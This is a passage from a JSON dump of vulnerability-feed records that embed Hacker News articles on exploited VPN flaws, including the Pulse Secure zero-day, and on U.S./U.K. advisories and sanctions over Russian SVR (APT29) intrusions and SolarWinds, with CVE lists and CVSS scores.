6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1579", "CVE-2019-19781"], "modified": "2020-02-18T15:13:08", "id": "THN:9994A9D5CFB76851BB74C8AD52F3DBBE", "href": "https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:19", "description": "[](<https://thehackernews.com/images/-HxsxXCBkPXE/YH-natH6OTI/AAAAAAAACUA/6_XHWg-Cu_YYS4p-8w6I8XWh3VRUU9ZMQCLcBGAsYHQ/s0/pulse-secure-hacking.jpg>)\n\nIf Pulse Connect Secure gateway is part of your organization network, you need to be aware of a newly discovered critical zero-day authentication bypass vulnerability (CVE-2021-22893) that is currently being exploited in the wild and for which there is no patch available yet.\n\nAt least two threat actors have been behind a series of intrusions targeting defense, government, and financial organizations in the U.S. and elsewhere by leveraging critical vulnerabilities in Pulse Secure VPN devices to circumvent multi-factor authentication protections and breach enterprise networks.\n\n\"A combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, [CVE-2021-22893](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>), are responsible for the initial infection vector,\" cybersecurity firm FireEye [said](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>) on Tuesday, identifying 12 malware families associated with the exploitation of Pulse Secure VPN appliances.\n\nThe company is also tracking the activity under two threat clusters UNC2630 and UNC2717 (\"[UNC](<https://www.fireeye.com/blog/products-and-services/2020/12/how-mandiant-tracks-uncategorized-threat-actors.html>)\" for Uncategorized) \u2014 the former linked to a break-in of U.S. Defense Industrial base (DIB) networks, while the latter was found targeting a European organization in March 2021 \u2014 with the investigation attributing UNC2630 to operatives working on behalf of the Chinese government, in addition to suggesting possible ties to another espionage actor [APT5](<https://malpedia.caad.fkie.fraunhofer.de/actor/apt5>) based on \"strong similarities to historic intrusions dating back to 2014 and 2015.\"\n\n[](<https://thehackernews.com/images/-_r1BkPmCUK8/YH-n1A6EuZI/AAAAAAAACUI/MS0JCaPy_hEkXJpAquULKRANPrKeNuL_gCLcBGAsYHQ/s728/vpn-hacking.jpg>)\n\nAttacks staged by UNC2630 are believed to have commenced as early as August 2020, before they expanded in October 2020, when UNC2717 began repurposing the same flaws to install custom malware on the networks of government agencies in Europe and the U.S. The incidents continued until March 2021, according to FireEye.\n\nThe list of malware families is as follows -\n\n * **UNC2630** \\- SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK\n * **UNC2717** \\- HARDPULSE, QUIETPULSE, AND PULSEJUMP\n\nTwo additional malware strains, STEADYPULSE and LOCKPICK, deployed during the intrusions have not been linked to a specific group, citing lack of evidence.\n\nBy exploiting multiple Pulse Secure VPN weaknesses ([CVE-2019-11510](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>), [CVE-2020-8260](<https://nvd.nist.gov/vuln/detail/CVE-2020-8260>), [CVE-2020-8243](<https://nvd.nist.gov/vuln/detail/CVE-2020-8243>), and CVE-2021-22893), UNC2630 is said to have harvested login credentials, using them to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts to enable arbitrary command execution and inject web shells capable of carrying out file operations and running malicious code.\n\nIvanti, the company behind the Pulse Secure VPN, has released [temporary mitigations](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) to address the arbitrary file execution vulnerability ([CVE-2021-22893](<https://kb.cert.org/vuls/id/213092>), CVSS score: 10), while a fix for the issue is expected to be in place by early May. The Utah-based company acknowledged that the new flaw impacted a \"[very limited number of customers](<https://blog.pulsesecure.net/pulse-connect-secure-security-update/>),\" adding it has released a [Pulse Connect Secure Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) for customers to check for signs of compromise.\n\nPulse Secure customers are recommended to upgrade to PCS Server version 9.1R.11.4 when it becomes available.\n\nNews of compromises affecting government agencies, critical infrastructure entities, and other private sector organizations comes a week after the U.S. government [released an advisory](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>), warning businesses of active exploitation of five publicly known vulnerabilities by the Russian Foreign Intelligence Service (SVR), including CVE-2019-11510, to gain initial footholds into victim devices and networks.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-21T04:20:00", "type": "thn", "title": "WARNING: Hackers Exploit Unpatched Pulse Secure 0-Day to Breach Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-22893"], "modified": "2021-04-21T17:42:28", "id": "THN:AE2E46F59043F97BE70DB77C163186E6", "href": "https://thehackernews.com/2021/04/warning-hackers-exploit-unpatched-pulse.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:18", "description": "[](<https://thehackernews.com/images/-aP3rCXOUpiQ/YIfVcfAWodI/AAAAAAAACX8/f_RfGI2QOewvk7Zu4AaGOKQyirlBpfKfACLcBGAsYHQ/s0/russian-hackers.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), Department of Homeland Security (DHS), and the Federal Bureau of Investigation (FBI) on Monday published a new joint advisory as part of their latest attempts to expose the tactics, techniques, and procedures (TTPs) adopted by the Russian Foreign Intelligence Service (SVR) in its attacks targeting the U.S and foreign entities.\n\nBy employing \"stealthy intrusion tradecraft within compromised networks,\" the intelligence agencies [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/26/fbi-dhs-cisa-joint-advisory-russian-foreign-intelligence-service>), \"the SVR activity\u2014which includes the recent [SolarWinds Orion supply chain compromise](<https://thehackernews.com/2021/04/researchers-find-additional.html>)\u2014primarily targets government networks, think tank and policy analysis organizations, and information technology companies and seeks to gather intelligence information.\"\n\nThe cyber actor is also being tracked under different monikers, including Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium. The development comes as the U.S. sanctioned Russia and [formally pinned](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) the SolarWinds hack and related cyberespionage campaign to government operatives working for SVR.\n\n[APT29](<https://malpedia.caad.fkie.fraunhofer.de/actor/apt_29>), since emerging on the threat landscape in 2013, has been tied to a number of attacks orchestrated with an aim to gain access to victim networks, move within victim environments undetected, and extract sensitive information. But in a noticeable shift in tactics in 2018, the actor moved from deploying malware on target networks to striking cloud-based email services, a fact borne by the SolarWinds attack, wherein the actor leveraged Orion binaries as an intrusion vector to exploit Microsoft Office 365 environments.\n\nThis similarity in post-infection tradecraft with other SVR-sponsored attacks, including in the manner the adversary laterally moved through the networks to obtain access to email accounts, is said to have played a huge role in attributing the SolarWinds campaign to the Russian intelligence service, despite a notable departure in the method used to gain an initial foothold.\n\n\"Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations,\" the agency noted.\n\nAmong some of the other tactics put to use by APT29 are password spraying (observed during a 2018 compromise of a large unnamed network), exploiting zero-day flaws against virtual private network appliances (such as [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) to obtain network access, and deploying a Golang malware called [WELLMESS](<https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html>) to plunder [intellectual property](<https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html>) from multiple organizations involved in COVID-19 vaccine development.\n\nBesides CVE-2019-19781, the threat actor is known to gain initial footholds into victim devices and networks by leveraging [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>), [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), and [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>). Also in the mix is the practice of obtaining virtual private servers via false identities and cryptocurrencies, and relying on temporary VoIP telephone numbers and email accounts by making use of an anonymous email service called cock.li.\n\n\"The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services,\" the advisory read, while also urging businesses to secure their networks from a compromise of trusted software.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-27T09:14:00", "type": "thn", "title": "FBI, CISA Uncover Tactics Employed by Russian Intelligence Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-28T06:42:30", "id": "THN:91A2A296EF8B6FD5CD8B904690E810E8", "href": "https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:20", "description": "[](<https://thehackernews.com/images/-LTN8ZEVASAQ/YHhnaI6y7gI/AAAAAAAACSI/-4R4GM5jnigOmkENHKFJXtyjjp1f6w4QQCLcBGAsYHQ/s0/us-sanctions-russia-solarwinds-hack.jpg>)\n\nThe U.S. and U.K. on Thursday formally attributed the supply chain attack of IT infrastructure management company SolarWinds with \"high confidence\" to government operatives working for Russia's Foreign Intelligence Service (SVR).\n\n\"Russia's pattern of malign behaviour around the world \u2013 whether in cyberspace, in election interference or in the aggressive operations of their intelligence services \u2013 demonstrates that Russia remains the most acute threat to the U.K.'s national and collective security,\" the U.K. government [said](<https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services>) in a statement.\n\nTo that effect, the U.S. Department of the Treasury has imposed sweeping sanctions against Russia for \"undermining the conduct of free and fair elections and democratic institutions\" in the U.S. and for its role in facilitating the sprawling SolarWinds hack, while also barring six technology companies in the country that provide support to the cyber program run by Russian Intelligence Services.\n\n[](<https://thehackernews.com/images/-3aKGKEh2OCw/YHhnxG35qkI/AAAAAAAACSQ/DNi8MHTziNkZeNqP2Y6g9DXrwuwcIBooQCLcBGAsYHQ/s0/russian-hacker.jpg>)\n\nThe companies include ERA Technopolis, Pasit, Federal State Autonomous Scientific Establishment Scientific Research Institute Specialized Security Computing Devices and Automation (SVA), Neobit, Advanced System Technology, and Pozitiv Teknolodzhiz (Positive Technologies), the last three of which are IT security firms whose customers are said to include the Russian Ministry of Defense, SVR, and Russia's Federal Security Service (FSB).\n\n\"As a company, we deny the groundless accusations made by the U.S. Department of the Treasury,\" Positive Technologies [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-official-statement-following-u-s-sanctions/>) in a statement. \"In the almost 20 years we have been operating there has been no evidence of the results of Positive Technologies\u2019 research being used in violation of the principles of business transparency and the ethical exchange of information with the professional information security community.\"\n\nIn addition, the Biden administration is also [expelling ten members](<https://home.treasury.gov/policy-issues/financial-sanctions/recent-actions/20210415>) of Russia's diplomatic mission in Washington, D.C., including representatives of its intelligence services.\n\n\"The scope and scale of this compromise combined with Russia's history of carrying out reckless and disruptive cyber operations makes it a national security concern,\" the Treasury Department [said](<https://home.treasury.gov/news/press-releases/jy0127>). \"The SVR has put at risk the global technology supply chain by allowing malware to be installed on the machines of tens of thousands of SolarWinds' customers.\"\n\nFor its part, Moscow had previously [denied involvement](<https://thehackernews.com/2021/01/fbi-cisa-nsa-officially-blames-russia.html>) in the broad-scope SolarWinds campaign, stating \"it does not conduct offensive operations in the cyber domain.\"\n\nThe [intrusions](<https://thehackernews.com/2021/03/researchers-find-3-new-malware-strains.html>) came to light in December 2020 when FireEye and other cybersecurity firms revealed that the operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor with the goal of gathering sensitive information.\n\nUp to 18,000 SolarWinds customers are believed to have received the trojanized Orion update, although the attackers carefully selected their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop malware based on an initial reconnaissance of the target environment for high-value accounts and assets.\n\n[](<https://thehackernews.com/images/-K6oDMn9wijo/YHhoAIB7XMI/AAAAAAAACSU/SnX4nr33cRUwtWpMv58gmUlwM1J3GLbGwCLcBGAsYHQ/s0/hack.jpg>)\n\nThe adversary's compromise of the SolarWinds software supply chain is said to have given it the ability to remotely spy or potentially disrupt more than 16,000 computer systems worldwide, according to the [executive order](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/>) issued by the U.S. government.\n\nBesides infiltrating the networks of [Microsoft](<https://thehackernews.com/2020/12/microsoft-says-its-systems-were-also.html>), [FireEye](<https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html>), [Malwarebytes](<https://thehackernews.com/2021/01/solarwinds-hackers-also-breached.html>), and [Mimecast](<https://thehackernews.com/2021/03/mimecast-finds-solarwinds-hackers-stole.html>), the attackers are also said to have used SolarWinds as a stepping stone to breaching several U.S. agencies such as the National Aeronautics and Space Administration (NASA), the Federal Aviation Administration (FAA), and the Departments of State, Justice, Commerce, Homeland Security, Energy, Treasury, and the National Institutes of Health.\n\nThe SVR actor is also known by other names such as APT29, Cozy Bear, and The Dukes, with the threat group being tracked under different monikers, including UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), StellarParticle (CrowdStrike), Dark Halo (Volexity), and Nobelium (Microsoft).\n\n[](<https://thehackernews.com/images/-JJfhuyyCe1A/YHhoT2JBRoI/AAAAAAAACSg/KKZjhhWheAYDqRlyZsylSiqZ6TohQDq4ACLcBGAsYHQ/s0/cyberattack.jpg>)\n\nFurthermore, the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released an [advisory](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>), warning businesses of active exploitation of five publicly known vulnerabilities by APT29 to gain initial footholds into victim devices and networks \u2014 \n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway \n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\nIn a statement shared with The Hacker News, Pulse Secure said the issue identified by the NSA concerns a flaw that was patched on [legacy deployments in April 2019](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>), and that \"customers who followed the instructions in a Pulse Secure security advisory issued at that time have properly protected their systems and mitigated the threat.\"\n\n\"We see what Russia is doing to undermine our democracies,\" said U.K. Foreign Secretary Dominic Raab. \"The U.K. and U.S. are calling out Russia's malicious behaviour, to enable our international partners and businesses at home to better defend and prepare themselves against this kind of action.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-15T16:55:00", "type": "thn", "title": "US Sanctions Russia and Expels 10 Diplomats Over SolarWinds Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-06-04T10:27:04", "id": "THN:461B7AEC7D12A32B4ED085F0EA213502", "href": "https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:15", "description": "[](<https://thehackernews.com/images/-W51kRhVBeW0/YJaCznsmgiI/AAAAAAAACfU/z7fgy604zAcZllL9m6sPApy3bUHHX9YEQCLcBGAsYHQ/s0/hacker.jpg>)\n\nCyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous [public disclosures](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) of their attack methods, according to a [new advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/07/joint-ncsc-cisa-fbi-nsa-cybersecurity-advisory-russian-svr>) jointly published by intelligence agencies from the U.K. and U.S. Friday.\n\n\"SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,\" the National Cyber Security Centre (NCSC) [said](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>).\n\nThese include the deployment of an open-source tool called [Sliver](<https://github.com/BishopFox/sliver>) to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.\n\nThe development follows the [public attribution](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) of SVR-linked actors to the [SolarWinds](<https://thehackernews.com/2021/04/researchers-find-additional.html>) supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.\n\nThe attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway\n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\n\"The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example [COVID-19 vaccine](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>) targeting in 2020,\" the NCSC said.\n\nThis was followed by a separate guidance on April 26 that [shed more light](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.\n\nNow according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to \"rapidly\" weaponize recently released public vulnerabilities that could enable initial access to their targets.\n\n * [**CVE-2019-1653**](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) \\- Cisco Small Business RV320 and RV325 Routers\n * [**CVE-2019-2725**](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) \\- Oracle WebLogic Server\n * [**CVE-2019-7609**](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) \\- Kibana\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) \\- F5 Big-IP\n * [**CVE-2020-14882**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) \\- Oracle WebLogic Server\n * [**CVE-2021-21972**](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>) \\- VMware vSphere\n * [**CVE-2021-26855**](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) \\- Microsoft Exchange Server\n\n\"Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,\" the agency said.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-05-08T12:24:00", "type": "thn", "title": "Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-21972", "CVE-2021-26855"], "modified": "2021-05-11T06:23:38", "id": "THN:1ED1BB1B7B192353E154FB0B02F314F4", "href": "https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), 